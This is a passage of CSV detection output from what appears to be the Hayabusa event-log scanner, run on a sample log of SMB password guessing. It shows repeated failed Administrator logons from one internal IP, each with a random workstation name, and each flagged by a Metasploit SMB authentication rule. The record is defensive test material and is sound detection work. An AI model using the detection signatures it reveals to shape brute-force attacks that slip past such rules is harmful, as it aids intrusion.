Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.988 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q0i0p5QxJ4ykYYJt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.988 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.033 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VsxqWAnd6j2CdyB3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.033 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.090 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y5qdy80mtFWl199k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.090 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.121 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ce0d84uBK4t2sqR3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.121 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.176 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b4dZYZEW1VijjwHN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.176 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZmqGJWbeap5dv0gC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.225 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.266 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zaNUqChgVSbDkFQu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.266 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.319 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B4PDZ55it0V4QGnM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.319 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.370 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TQxXVB8Aj5gaw2f2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.370 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.421 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vzDeZtgSJoH74GYk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.421 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.469 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iNAFsZraFvw67WWR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.469 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.533 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0aVdnbyzWqk58rOW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.533 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WjUH2PopXCrrPzqi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.576 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.616 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ylmV2z3WjTWsTpyu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.616 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.654 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8qBKZTYRTKuEAgS8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.654 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JvekO4A5f6QK2ynZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.712 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.753 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LDUqydSeA1guOjIP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.753 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o71TltsJDyOIuLQb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.796 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NXT3MSCes42dVCNn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.842 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FGXiWeT8Evr6G70M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.884 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V2RarzrnGgcLaseH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.924 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.968 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u3k7dXu9o1vMkhby : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:59.968 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.009 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EDBt76dmYnPstFWw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.009 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.041 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4yjzMC7cw0fe7gjS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.041 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eQOWCM7KP68DZTX9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.080 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.119 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kn9WWWqCIwfrPbie : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.119 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AQcamLSzsXOjP6FL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.156 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.278 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6R6ZMRoYkAPB35Bq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.278 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.349 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ubqnZm0jmHNFCHrM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.349 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.419 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7ORQ8vL1oo6CkJXK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.419 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.473 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rDPl1SSddrWEs979 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.473 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.585 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VrK7fENAr1lxFr9x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.585 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.633 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wu4djhEVSMYBOmjF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.633 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.677 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7e0NOdXhEkW6MskA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.677 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.715 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7nqxLHaOtkHHNAa1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.715 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.756 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NCrCf73NtEpk5DUR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.756 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YVFm1epksVGO1nFY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.796 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YmVehuMHvh5kVqRW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.842 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.875 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sERZrNUHsKVEShCb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.875 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eaSNgw2hvkxLnQF8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.901 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FSYOWptgxHYTDv1x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.940 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.984 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Van1qwuRoWYPWrIY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:00.984 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.025 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TyLCa9OHocazZKQ2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.025 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XxrR5iUsTI9LVnLL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.068 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.110 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TxMREacN0QfvL51B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.110 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7fbzSHaZBDH4zFZZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.156 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NgIei0bMIcslJCVa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:01.200 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 